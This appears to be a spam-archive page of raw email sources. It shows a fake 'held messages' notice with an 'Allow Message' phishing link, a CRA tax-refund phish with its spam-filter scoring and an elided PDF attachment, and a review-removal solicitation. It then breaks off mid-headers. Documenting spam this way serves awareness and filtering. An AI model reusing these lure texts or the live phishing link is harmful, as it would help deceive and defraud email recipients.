variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thick=

ness: initial; text-decoration-style: initial;=20

text-decoration-color: initial">


ns-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; MARGIN-TOP: 0px; TEXT-TRA=

NSFORM: none; FONT-WEIGHT: 400; COLOR: rgb(34,34,34); FONT-STYLE: normal; T=

EXT-ALIGN: left; ORPHANS: 2; WIDOWS: 2; LETTER-SPACING: normal; BACKGROUND-=

COLOR: rgb(255,255,255); TEXT-INDENT: 0px; font-variant-ligatures: normal; =

font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-=

thickness: initial; text-decoration-style: initial;=20

text-decoration-color: initial">  Some purchase orders (POs) and other=

business emails may not reach your inbox due to your email security settin=

gs.




, Arial, sans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM=

: none; FONT-WEIGHT: 400; COLOR: rgb(34,34,34); FONT-STYLE: normal; TEXT-AL=

IGN: left; ORPHANS: 2; WIDOWS: 2; MARGIN: 0px 0px 12px; LETTER-SPACING: nor=

mal; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; font-variant-lig=

atures: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; =

text-decoration-thickness: initial;=20

text-decoration-style: initial; text-decoration-color: initial">  =

;Email Address: sales@nk.ca
  Sta=

tus:  Held
<=

BR>




, Arial, sans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM=

: none; FONT-WEIGHT: 400; COLOR: rgb(34,34,34); FONT-STYLE: normal; TEXT-AL=

IGN: left; ORPHANS: 2; WIDOWS: 2; MARGIN: 0px 0px 12px; LETTER-SPACING: nor=

mal; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; font-variant-lig=

atures: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; =

text-decoration-thickness: initial;=20

text-decoration-style: initial; text-decoration-color: initial"> 
ref=3D"https://fls-a2a88b0f-1dee-4267-8ca1-d3be86dcd6e1.laravel.cloud/DOMAI=

N.html#sales@nk.ca">Allow Message




, Arial, sans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM=

: none; FONT-WEIGHT: 400; COLOR: rgb(34,34,34); FONT-STYLE: normal; TEXT-AL=

IGN: left; ORPHANS: 2; WIDOWS: 2; MARGIN: 0px 0px 12px; LETTER-SPACING: nor=

mal; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; font-variant-lig=

atures: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; =

text-decoration-thickness: initial;=20

text-decoration-style: initial; text-decoration-color: initial">

=3D"BOX-SIZING: border-box"> © 2026. All Rights Reserved.

=



CRA Phish from sendgrid

X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Thu, 03 Sep 2026 15:02:00 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.100 (FreeBSD))

(envelope-from )

id 1x2EYS-00000000FZi-2kpf

for dave@doctor.nl2k.ab.ca;

Thu, 03 Sep 2026 15:01:04 -0600

Resent-From: The Doctor

Resent-Date: Thu, 3 Sep 2026 15:01:04 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from s.wfbtzrtd.outbound-mail.sendgrid.net ([159.183.229.125]:24302)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_128_GCM_SHA256

(Exim 4.100 (FreeBSD))

(envelope-from )

id 1x2Bav-00000000DoI-1GV0

for root@nk.ca;

Thu, 03 Sep 2026 11:51:37 -0600

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=betsea.net;

h=content-type:date:from:mime-version:subject:to:cc:content-type:date:

from:subject:to;

s=s1; t=1788457828;

bh=ZalXGwbfYRzJhSlLkqprf/Tugw7GmLmn/gCZn3ie3oY=;

b=a+3KP5UUwt/TIQV4B4LxSrAcw06BYUuuDjC6yoybJoaJhcVEmjB3EUOPV+tPwDSYyBt8

rD+P6nBYuYIVXOnL8476UDX8a1nYgZOKykY/y4rq+3h0/WJQW53lHU8r0CN2uM08M2MrB/

+jjfwUrU0J8/5UVy7iTb6fob+RVjOmQSbwF8dRfUsjTXQ6tn5/BqHDIxw1SPQn7iH2COUa

Aew4IW0TmC/14oATZ4w6/FA4cJCsQOaRe+3CDKR/C9OXkGXsyHZfMwS98duvTtg2BB6lMq

ZBRIxYAuOz2xVRlkAA+HphFrUqr/xO3aPxKGadscLETU4fqjArO16i9R6Qn3xzWg==

Received: by recvd-6bbf9f9689-q2z8m with SMTP id recvd-6bbf9f9689-q2z8m-1-6A99B364-5F

2026-09-03 17:50:28.374286199 +0000 UTC m=+3193086.306549965

Received: from NTQxNDI3NTI (unknown)

by geopod-ismtpd-82 (SG) with HTTP

id nh0DdrOvQ2qflMbxmImVWw

Thu, 03 Sep 2026 17:50:28.336 +0000 (UTC)

Content-Type: multipart/mixed; boundary=79d3b007c1f1a9f538486d29f5a5727cf01f89f229d83807640fa1f6b4eb

Date: Thu, 03 Sep 2026 17:50:28 +0000 (UTC)

From: CRA Tax Refund Department

Mime-Version: 1.0

Message-ID:

Subject: CRA: Your Tax Refund is Pending - Action Required

X-SG-EID:

=?us-ascii?Q?u001=2EqO+6qxEdks8kNizn44ozSjYBYuG8skJBsLo8mNXn2kSkc5WICchSlJZkV?=

=?us-ascii?Q?EcpcRbJao7asi5Dth4bxBj7Bq99FQqpd1UwlEPs?=

=?us-ascii?Q?8rO84CDzFJ3nHzxdPi2wnPu85XWushc7Hxr+LdV?=

=?us-ascii?Q?0J6Br8TD2delTJlq6cfdgQV3sBUm1P=2Fjr4uMB4Q?=

=?us-ascii?Q?ODtlnEb1EU0rtA3rtY2Q5nCkqRYP2bE0tSfuOOf?=

=?us-ascii?Q?eJr2ltwVWmsd0iY8Sjh13wW1Ua8=2FdwUh0TN+0jL?= =?us-ascii?Q?idMN?=

To: root@nk.ca

X-Entity-ID: u001.pcI1TqDJ4bt3TLVFssjSfA==

X-Spam_score: 23.2

X-Spam_score_int: 232

X-Spam_bar: +++++++++++++++++++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: ACTION REQUIRED: Please download the attached PDF document,

sign it, and send it back via the same email address.



Content analysis details: (23.2 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org

[159.183.229.125 listed in will-spam-for-food.eu.org]

[159.183.229.125 listed in will-spam-for-food.eu.org]

[159.183.229.125 listed in will-spam-for-food.eu.org]

[159.183.229.125 listed in will-spam-for-food.eu.org]

[159.183.229.125 listed in will-spam-for-food.eu.org]

[159.183.229.125 listed in will-spam-for-food.eu.org]

[159.183.229.125 listed in will-spam-for-food.eu.org]

[159.183.229.125 listed in will-spam-for-food.eu.org]

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[159.183.229.125 listed in dnsbl.ahbl.org]

[159.183.229.125 listed in dnsbl.ahbl.org]

[159.183.229.125 listed in dnsbl.ahbl.org]

[159.183.229.125 listed in dnsbl.ahbl.org]

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

[159.183.229.125 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org

[159.183.229.125 listed in dnsbl.ahbl.org]

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

[159.183.229.125 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

[159.183.229.125 listed in dnsbl.ahbl.org]

2.5 URIBL_DBL_PHISH Contains a Phishing URL listed in the DBL blocklist

[URI: betsea.net]

-2.0 RCVD_IN_RP_SAFE RBL: Sender in ReturnPath Safe - Contact

safe-sa@returnpath.net

[Excessive Number of Queries | ]

-3.0 RCVD_IN_RP_CERTIFIED RBL: Sender in ReturnPath Certified - Contact

cert-sa@returnpath.net

[Excessive Number of Queries | ]

-0.0 SPF_PASS SPF: sender matches SPF record

15 GR_DOMAIN_SENDGR1 Received contains spammer id (sendgr)

1.1 URIBL_GREY Contains an URL listed in the URIBL greylist

[URI: sendgrid.net]

1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,

https://senderscore.org/blacklistlookup/

[159.183.229.125 listed in bl.score.senderscore.com]

-0.2 RCVD_IN_MSPIKE_H2 RBL: Average reputation (+2)

[159.183.229.125 listed in wl.mailspike.net]

1.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts

0.0 HTML_MESSAGE BODY: HTML included in message

0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge

1.8 HTML_IMAGE_ONLY_08 BODY: HTML: images with 400-800 bytes of words

0.0 T_DKIM_INVALID DKIM-Signature header exists but is not valid

0.6 HTML_MIME_NO_HTML_TAG HTML-only message, but there is no HTML tag

Subject: {SPAM?} CRA: Your Tax Refund is Pending - Action Required



--79d3b007c1f1a9f538486d29f5a5727cf01f89f229d83807640fa1f6b4eb

Content-Transfer-Encoding: quoted-printable

Content-Type: text/html; charset=us-ascii

Mime-Version: 1.0



ACTION REQUIRED:

Please download the attached PDF document, sign it, and send it back via th=

e same email address.


h8zRw-2BB5O-2F7-2FmgXOBfD0E6VDrTtDW1p5IsUcWLz-2FFvF-2BmWSXVUN-2BF4T2UBuiydR=

Qbn9MZBLUavHyNqUnsRDTZWeZzf4Wrzz2qtituUcHFJCk1NVfLg6-2FsBTmhCNp9mv1YcjTh2Rv=

j-2BZzwcdvtwuYo5hiDlPId-2FWhZhGTMZLhLOy9poEvaPNx4ZUHNtA-2BvDDYb-2BgA-3D-3D"=

alt=3D"" width=3D"1" height=3D"1" border=3D"0" style=3D"height:1px !import=

ant;width:1px !important;border-width:0 !important;margin-top:0 !important;=

margin-bottom:0 !important;margin-right:0 !important;margin-left:0 !importa=

nt;padding-top:0 !important;padding-bottom:0 !important;padding-right:0 !im=

portant;padding-left:0 !important;"/>

--79d3b007c1f1a9f538486d29f5a5727cf01f89f229d83807640fa1f6b4eb

Content-Disposition: attachment; filename="canada (1).pdf"

Content-Transfer-Encoding: base64

Content-Type: application/pdf; name="canada (1).pdf"



...



--79d3b007c1f1a9f538486d29f5a5727cf01f89f229d83807640fa1f6b4eb--

Google Business profile spam from Microsoft Outlook

X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Thu, 03 Sep 2026 15:01:00 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.100 (FreeBSD))

(envelope-from )

id 1x2EYL-00000000FV2-2r4k

for dave@doctor.nl2k.ab.ca;

Thu, 03 Sep 2026 15:00:57 -0600

Resent-From: The Doctor

Resent-Date: Thu, 3 Sep 2026 15:00:57 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from mail-westus3azolkn19010027.outbound.protection.outlook.com ([52.103.23.27]:13038 helo=PH7PR06CU001.outbound.protection.outlook.com)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384

(Exim 4.100 (FreeBSD))

(envelope-from )

id 1x2BUn-00000000DAJ-29jy

for root@nk.ca;

Thu, 03 Sep 2026 11:45:16 -0600

ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;

b=Z/j9XK2neTsmzcxR/xpeNYZl0RWhSUaiwJxgd7Jo9IaD8C2HfA/MxjdmPri09BMS/F25fU3knmK4cT9MVd+futtiujmOzFrYDk1VU8+IdLPGNghDSAs48wm6H5i8NE5Oz43/utidXuCBUfGNVOeseR6sIMz6yYkYwslZuj8ehs58e3oy4G5HXVgLr4T83azVcoZQRiLvIpwl482YYODNFVdTz2Xfj4QEles9z3g1m0fpjHZ9zcl/H0UUX+Vbjn/43B06j3wbbglHpKF+AscgUWzMzpmeEwEkIKq/jBZ12u+SkP729o7SRQwJjF3Nq4RJrf61owxasd4sGRHZXS0NEA==

ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;

s=arcselector10001;

h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;

bh=o6bSs/olb6cf3V2uAgpa1IG34BdEKSQzlcSCxCPtNdM=;

b=WGy+gMIShfb+9qDDjS6/EqxWZ5/7ONwXzB1Sy0kuvkPqPZZMrLHXPvL6gwCz2SPgsYgmc+H9liRhAJW2cLyxp1JPGeOc48jS4pnXj5Zh9SXpyg1ud8YOb9B3JdTgAIPtKHPDr/lZDQUXsfG4/XhrQslqoQAiAQN7+ZO/WjnGVSm59l/+JFlheQfimza2TIX42P2KM0fq9upj2I+rOsmlXlje8yXMb0s2igro6hG5gu/5hMHr3UTkYHtUF9rclBXQC5DaetjJ5hW898w4DkpA8dfEGlbC2O+Bc7XTL3IeNlZHNG/AF+aJU2wLuZcyuw4cj7XlRBZzFHfx7NZW/XKQLA==

ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=none; dmarc=none;

dkim=none; arc=none

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=outlook.com;

s=selector1;

h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;

bh=o6bSs/olb6cf3V2uAgpa1IG34BdEKSQzlcSCxCPtNdM=;

b=ZeBtZ61BRXmK8uhgmttPX8BFzwyFytOqp/4XBZ1FG+Q41dLXBQF2p4OjhM2Aw2OK3LJmWbfEN4LCsvUvJnoq1Ak01crKrC++XlkZluRiK313oI9rHCS+IDIWTK3N+PaRra1gsbDZyHNxBHlxfzFoikHMifspa8N/qJlsTL7oyrtH+XXlqsVWUbM2YNmFiRNVAlun+zoXv2lInWndP1RGbax3dYou4v2Mp9ZiF7N8Lg3wGAQSZDZJ9czGrxfvItgUO3B2LAcyGGchK2LE2CP/DlFTPCRb10SPxWbyYCBfa64ccnpcdfSRioBWJ0MLwlIJp6YiuegIKCzVzvvetXyZjQ==

Received: from SN6PR11MB2830.namprd11.prod.outlook.com (2603:10b6:805:57::21)

by PH6PR11MB242266.namprd11.prod.outlook.com (2603:10b6:510:3dc::19) with

Microsoft SMTP Server (version=TLS1_2,

cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.360.13; Thu, 3 Sep

2026 17:44:00 +0000

Received: from SN6PR11MB2830.namprd11.prod.outlook.com

([fe80::5c2a:c85e:e14f:c085]) by SN6PR11MB2830.namprd11.prod.outlook.com

([fe80::5c2a:c85e:e14f:c085%6]) with mapi id 15.21.0360.008; Thu, 3 Sep 2026

17:44:00 +0000

From: banty sharma

To: banty sharma

Subject: Re: AW:CD:@ **Remove Negative Review Service**

Thread-Topic: AW:CD:@ **Remove Negative Review Service**

Thread-Index: AQHdOkVJZKUBmrZzVkCU1ooMMzilC7a7kT3YgAGRiyQ=

Date: Thu, 3 Sep 2026 17:44:00 +0000

Message-ID:



References:





In-Reply-To:



Accept-Language: en-US

Content-Language: en-US

X-MS-Has-Attach:

X-MS-TNEF-Correlator:

msip_labels:

x-ms-publictraffictype: Email

x-ms-traffictypediagnostic: SN6PR11MB2830:EE_|PH6PR11MB242266:EE_

x-ms-office365-filtering-correlation-id: 7bf2380e-5868-4b40-7f6c-08df09e2effc

x-ms-exchange-slblob-mailprops:

gMiuAN0LASL4Z831lB8tpzpdpKMUIXWlafZcL9zFWADr35pHK3ASjQSaLpknMMLTM/Ez+lkY1YJyUKI65ABcrAzI3SXxxvPgBpKogQaUYN94h7AbW97UvNqyo4WsfxkfFVaF/8GYkW1nJ/wVWVz1OZ1Ac93tHXzWE8Bj6C7aHL7eqAUF6n8GtNvPlxOuq0IEIdKOAUlC3BBMz0zXddo0rek8uWokTJj8mlGC7O6f2d2ESpaIIA+wj9E9k1ebgGofhToxrAcvRVPhoUEFJNR++xXEB5/uNH6GBwO1Pt4lbO+BZf5fjEA+JkfXBrsCqiVAmRALNcrfxI2w4zoxpDqadYB/4i/OuNOsrYTr56DQp79qDDDAfJCxL53/c9SJHfYpTZP1dk3K1eU6mVHxwdw6y9mdXpoxLD+uxlV5cHCJ01MWPiN90ZsLBmiB4hFX+jMNlQIOOL5lQm8FGDE1uuc8XAtVNDYwmGEII0i7SMi0PPFfhn5AXXs0FUzy3npxACV2y0r133BJRrfC23wygx6vec6Mo04g6rU4R1us5D/H869wNbzdSjR8/Pg5tsBzVBdwVQE/D97SbFOAES+4BiO1EgdQ4PFXDxc7c5DZ8I5T3CMDhwuNrG7kHsqZ4fQVfvc8KfNkMvmddPy6t52sbT5ncB/GyQ5UHUH3IKBZCSaHGEVvlYbATL2PuCk/qd6Sto8/2Mm5eapqtNWry26HXf7wVA==

x-microsoft-antispam:

BCL:0;ARA:14566002|7042599007|25010399006|4140399003|22091999003|24121999003|8062599012|8060799015|19110799012|45011099003|55001999006|16051099003|51005399006|15030799006|15080799012|31061999003|440099028|3412199025|102099032|40105399003|260806224601699006|2607281247196008|11120399003|26121999007|1710799026;

x-microsoft-antispam-message-info:

=?Windows-1252?Q?6lj0Q1PQwqlviIB0gZsDb2g0z6VbaweWTmkURAhDnlGqsRWOqDldEbL5?=

=?Windows-1252?Q?I7rptG6kJLbIwSLar/sYI2Uum/9TPv3Dzyhbl02f2c0JTRJ3rl5yzUMd?=

=?Windows-1252?Q?2m7HjReFozK5scdrHRSVq/cCUzir0hJRzq4H7z+ijqiKTLU+nWn9Ev7t?=

=?Windows-1252?Q?TeIMp4rQk05BgisWCZsTCIZ2q+5CWvAaOHMxTwXMJ5lAQjBteHFYEFT1?=

=?Windows-1252?Q?YDR5dy+cs3XaS0v25Z7HZRRi1u+HbCfCFwSq9pHhVMSFedrd+cxNzpfr?=

=?Windows-1252?Q?/OrvvUqQobwIEtiHXL7aZxCQCuoISeLT50lc0V8ss+jY7mSldTaBsRhI?=

=?Windows-1252?Q?grl7c9yw1EhVkRvuw3Spbifoigo76D19mHzFI4NyXCf3jisL1gGEYRbJ?=

=?Windows-1252?Q?+hk/fmGPrmYmxNyjr+oYq8El5ujeKQJfY0+HF9HjgXUgEXoc7VI6AcES?=

=?Windows-1252?Q?vIK3SiRf9Am5PbKE6IlidWuJvyaszVaUQMq9EgbET7LtoE02urzHADKs?=

=?Windows-1252?Q?q2eJwEL3Icf/shFmNNATQaQI6BwNaF2PFdjVTfRTsmVQRKFhOAD4msjJ?=

=?Windows-1252?Q?dde8m2+/t1awLHzdMscPHhhW/R462qH3uI6N9GJ+i22vqEocaW3EGYxV?=

=?Windows-1252?Q?dCil7mAcj1A83ZjuV++eY6CF5QRs7pSTEax8Ky8bbBjlFR0ZZMIqEi0v?=

=?Windows-1252?Q?bM832EhcUZPF2JLCifUfPSs0saCUKg1w/3+2qiE44vKa5MxUfFjpTqJx?=

=?Windows-1252?Q?cGom0f8Qc3FDaOWVr20HoX8/MG+j3tOKka0q3tZlb/47nEa3dQ2cNtID?=

=?Windows-1252?Q?OLqkadsCI6dLOfs07IW720g4IYlcuj9en+KuqDp/yn0sagu6mKE5+SPL?=

=?Windows-1252?Q?q0syfmxPh4zEB/myVaueEUntxY+UWVpFDVrWH5SP73trDyKbYp7XZaSY?=

=?Windows-1252?Q?c+PCtHgPT8rhc63GltUhdAO5wpiwEujya8IluFyoJqBzarrX7OEWH6kn?=

=?Windows-1252?Q?QoeDZ7q04ehz8caniomb4CAzgkidICCmvGnZfdhrv+7wxI3ro4Mbb72m?=

=?Windows-1252?Q?NxHQTUCF+hkJm4WOR+ddngar/MPFQZ9DAhpA67rQE1Lpa5WQS9UIL4oS?=

=?Windows-1252?Q?5goRwwIjkAzp9t5mWzH07S0FrTb/G/R19YEZfSOaMuGcNkDBDr+uyxdS?=

=?Windows-1252?Q?rUPipLCDvQAhcVx1dPL2RfzIAWDSSOFC61k4J7kD0D1WzYAY0+GABzEu?=

=?Windows-1252?Q?A5n2ckE+UnRQhsOoKZCDp0ZTRU6QKIyW2iL5D7DuPaEigMW1EihIGOJw?=

=?Windows-1252?Q?eH65Acif3V+8KiCWt6gGCuZV0JA=3D?=

x-ms-exchange-antispam-messagedata-chunkcount: 1

x-ms-exchange-antispam-messagedata-0:

=?Windows-1252?Q?ql/YhJd2ssDNohLlGXppPgRjeBbYch0/CLNNDn0+83tRyrs15dzyywb2?=

=?Windows-1252?Q?l2pLz6FZju4QO7N9wyMabw4lSdZvfj0IpoFWfYHqu5GuLiyJ+YInQp06?=

=?Windows-1252?Q?91+8cRFjwTUief4UEm1o1mmCsN7OnB9hu9UVcIWl9pxR7Wxtl+V7rK3y?=

=?Windows-1252?Q?OejFmItK7CSTGiglGn180pLCnk16ijPyYOMLjaXRLyq+r2dRf5qAXYeN?=

=?Windows-1252?Q?9uhPw4TsTM+FxWhZc6hNkwHusi6TV6ge7SjOAtfhARdrLh6+AzZb3W2A?=

=?Windows-1252?Q?Lz+aZmXRBHIw6XTrGkBYkW/HFsEkEOJzR1uiytdLHOQ/ygbWq78GkW6p?=

=?Windows-1252?Q?dAKp7maC5rqH0fx9++oypt8/D0qhgFR9J6DXi7Q4frMSxjnyqfJvOV9P?=

=?Windows-1252?Q?mGicPzQiFkz6+qSn0upw1IZjq3CxmebP76+g53kSJcdTcS2cjicjBLBu?=

=?Windows-1252?Q?+nK7NN26312cBWkMX+3rWazNR9QH8dns2QwAaxvtG78L/m6l7pHoEeA+?=

=?Windows-1252?Q?ZXk0VVDoQmIgMHeLy5kkBZuqhu3/Lt5HERfNiqMNPuSJlimbgaEdoFB5?=

=?Windows-1252?Q?8TV0cDNsTFDVX5Y3wk8VGb9dCp0q9EXVY3O0g8YiAjp56eGHvn9rWRF7?=

=?Windows-1252?Q?MOpEGP1fu8lOtHFljyymkHdQ10oJSXAe+J/oFPMDUQijt2vwTBA6QgJT?=

=?Windows-1252?Q?Td/rHO6EK0ASTQBAiCxTRCnkYPoRrFdra4VvjkjdXn4xXZVq45ecYe16?=

=?Windows-1252?Q?LoRTTCYpf3eyhZrob1f7Se/5VJhZy5owUkiNfO15ijtrkJCN3/u4RFtr?=

=?Windows-1252?Q?93e08zAM2UB5POyf+CZNYaCTvjcoucSj/cm0PlLAAC1dzFFmtbIEA7yV?=

=?Windows-1252?Q?bOFx/mO+c0IN7d3gRLBwRHoTdse6M/57jgSAqJcGlE7UoVQvP79J4wXs?=

=?Windows-1252?Q?6AjQnT+zg80ySALzmPyBzDfE9C/VMwEVmwtyJlobmFaPp4I3KrNEzkdp?=

=?Windows-1252?Q?AyMHsEGFFSrVnZK6B19ALiu5THiksldmqv2ylFFE0zxUzkRQe1XNGU24?=

=?Windows-1252?Q?e5yfvr/Dt6vUhYGOQl3iiRndwXdx8TX3rDy5i+oc3Tu64QkVHMnhubWv?=

=?Windows-1252?Q?Zy3mjWMVMUiYbasOqpiW84Yckeuz6U/FZiDSAvzm0qwYLtTyEBiz+Xqi?=

=?Windows-1252?Q?VXnsatfLg/u55luWFVOIUBakYIyeMyo9PUzv+7lIlJHiLTeU4hB2923I?=

=?Windows-1252?Q?JTLBoXpw4darBO7LML1IMgisz2AeGHlPqbN8WOUpFHoy4vYwU+6nvZHC?=

=?Windows-1252?Q?odHjR6UA44bOmtTGmOGhsw1DsnAAoV+A9mvRSivSdTt5hEXYZqUHwkq8?=

=?Windows-1252?Q?IO9/LaEc7/8jMSb5sr9f6/f8WVvtQG3an/8EaxwrLmsV+gNFaQC4FHfz?=

=?Windows-1252?Q?T3UiYF5V9GgZpSadnTonRxVUMAXeZ7nCNvBUd4Voxf/Vi6BrasAHV32q?=

=?Windows-1252?Q?9vTic6e2g4Q7FDS4a9bALeRbuU5gvaYNO/ibrJf2UaiAHKGhWe2brI38?=

=?Windows-1252?Q?blkdGkHLbSSx4PHH?=

Content-Type: multipart/alternative;

boundary="_000_SN6PR11MB283008EFF7412B9CA916915D89B62SN6PR11MB2830namp_"

MIME-Version: 1.0

X-OriginatorOrg: outlook.com

X-MS-Exchange-CrossTenant-AuthAs: Internal

X-MS-Exchange-CrossTenant-AuthSource: SN6PR11MB2830.namprd11.prod.outlook.com

X-MS-Exchange-CrossTenant-RMS-PersistedConsumerOrg: 00000000-0000-0000-0000-000000000000

X-MS-Exchange-CrossTenant-Network-Message-Id: 7bf2380e-5868-4b40-7f6c-08df09e2effc

X-MS-Exchange-CrossTenant-originalarrivaltime: 03 Sep 2026 17:44:00.3366

(UTC)

X-MS-Exchange-CrossTenant-fromentityheader: Hosted

X-MS-Exchange-CrossTenant-id: 84df9e7f-e9f6-40af-b435-aaaaaaaaaaaa

X-MS-Exchange-CrossTenant-rms-persistedconsumerorg: 00000000-0000-0000-0000-000000000000

X-MS-Exchange-Transport-CrossTenantHeadersStamped: PH6PR11MB242266



--_000_SN6PR11MB283008EFF7412B9CA916915D89B62SN6PR11MB2830namp_

Content-Type: text/plain; charset="Windows-1252"

Content-Transfer-Encoding: quoted-printable



Hi,



Quick checking in-



I=92m still waiting for your response.



If you're interested, I can share a brief Google Business Profile review wi=

th a few practical suggestions.



Thanks,

________________________________

From: banty sharma

Sent: Wednesday, September 2, 2026 12:39 AM

Subject: AW:CD:@ **Remove Negative Review Service**



Hello,



I came across your Google Business Profile and noticed there may be opportu=

nities to improve how your business is presented through customer reviews.



If you're open to it, I'd be happy to share a few ideas that could help str=

engthen your online presence.



Just let me know if you'd like more details.



Best regards,

Banty Sharma,





--_000_SN6PR11MB283008EFF7412B9CA916915D89B62SN6PR11MB2830namp_

Content-Type: text/html; charset="Windows-1252"

Content-Transfer-Encoding: quoted-printable








252">








nt, Aptos_MSFontService, Calibri, Helvetica, sans-serif; font-size: 12pt; c=

olor: rgb(0, 0, 0);">

Hi,



nt, Aptos_MSFontService, Calibri, Helvetica, sans-serif; font-size: 12pt; c=

olor: rgb(0, 0, 0);">







nt, Aptos_MSFontService, Calibri, Helvetica, sans-serif; font-size: 12pt; c=

olor: rgb(0, 0, 0);">

Quick checking in-



nt, Aptos_MSFontService, Calibri, Helvetica, sans-serif; font-size: 12pt; c=

olor: rgb(0, 0, 0);">







nt, Aptos_MSFontService, Calibri, Helvetica, sans-serif; font-size: 12pt; c=

olor: rgb(0, 0, 0);">

I=92m still waiting for your response.



nt, Aptos_MSFontService, Calibri, Helvetica, sans-serif; font-size: 12pt; c=

olor: rgb(0, 0, 0);">







nt, Aptos_MSFontService, Calibri, Helvetica, sans-serif; font-size: 12pt; c=

olor: rgb(0, 0, 0);">

If you're interested, I can share a brief Google Business Profile review wi=

th a few practical suggestions.



nt, Aptos_MSFontService, Calibri, Helvetica, sans-serif; font-size: 12pt; c=

olor: rgb(0, 0, 0);">







nt, Aptos_MSFontService, Calibri, Helvetica, sans-serif; font-size: 12pt; c=

olor: rgb(0, 0, 0);">

Thanks,














11pt; color: rgb(0, 0, 0);">

From: banty sharma


Sent: Wednesday, September 2, 2026 12:39 AM


Subject: AW:CD:@ **Remove Negative Review Service**


 





d-color: rgb(255, 255, 255); margin: 0px; font-family: cambria, georgia, se=

rif; font-size: 11pt; color: rgb(0, 0, 0);">

Hello,



d-color: rgb(255, 255, 255); margin: 0px; font-family: cambria, georgia, se=

rif; font-size: 11pt; color: rgb(0, 0, 0);">

 



d-color: rgb(255, 255, 255); margin: 0px; font-family: cambria, georgia, se=

rif; font-size: 11pt;">

I came across your
=3D"spanWithBackgroundColor" style=3D"color: rgb(200, 38, 19); background-c=

olor: rgb(255, 255, 0);">Google Business Profile

style=3D"color: rgb(0, 0, 0);"> and noticed

there may be opportunities to improve how your business is presented throu=

gh customer reviews.



d-color: rgb(255, 255, 255); margin: 0px; font-family: cambria, georgia, se=

rif; font-size: 11pt; color: rgb(0, 0, 0);">

 



d-color: rgb(255, 255, 255); margin: 0px; font-family: cambria, georgia, se=

rif; font-size: 11pt; color: rgb(0, 0, 0);">

If you're open to it, I'd be happy to share a few ideas that could help str=

engthen your online presence.



d-color: rgb(255, 255, 255); margin: 0px; font-family: cambria, georgia, se=

rif; font-size: 11pt; color: rgb(200, 38, 19);">

 



d-color: rgb(255, 255, 255); margin: 0px; font-family: cambria, georgia, se=

rif; font-size: 11pt; color: rgb(0, 0, 0);">


255, 255);">Just let me know if you'd like more details.
an>



d-color: rgb(255, 255, 255); margin: 0px; font-family: cambria, georgia, se=

rif; font-size: 11pt; color: rgb(0, 0, 0);">

 



d-color: rgb(255, 255, 255); margin: 0px; font-family: cambria, georgia, se=

rif; font-size: 11pt; color: rgb(0, 0, 0);">

Best regards,



d-color: rgb(255, 255, 255); margin: 0px; font-family: cambria, georgia, se=

rif; font-size: 11pt; color: rgb(0, 0, 0);">

Banty Sharma,



_MSFontService, Calibri, Helvetica, sans-serif; font-size: 12pt; color: rgb=

(0, 0, 0);">












--_000_SN6PR11MB283008EFF7412B9CA916915D89B62SN6PR11MB2830namp_--

Web/SEO/App spam from Microsoft Outlook

X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Thu, 03 Sep 2026 15:01:00 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.100 (FreeBSD))

(envelope-from )

id 1x2EYD-00000000FQh-1QKu

for dave@doctor.nl2k.ab.ca;

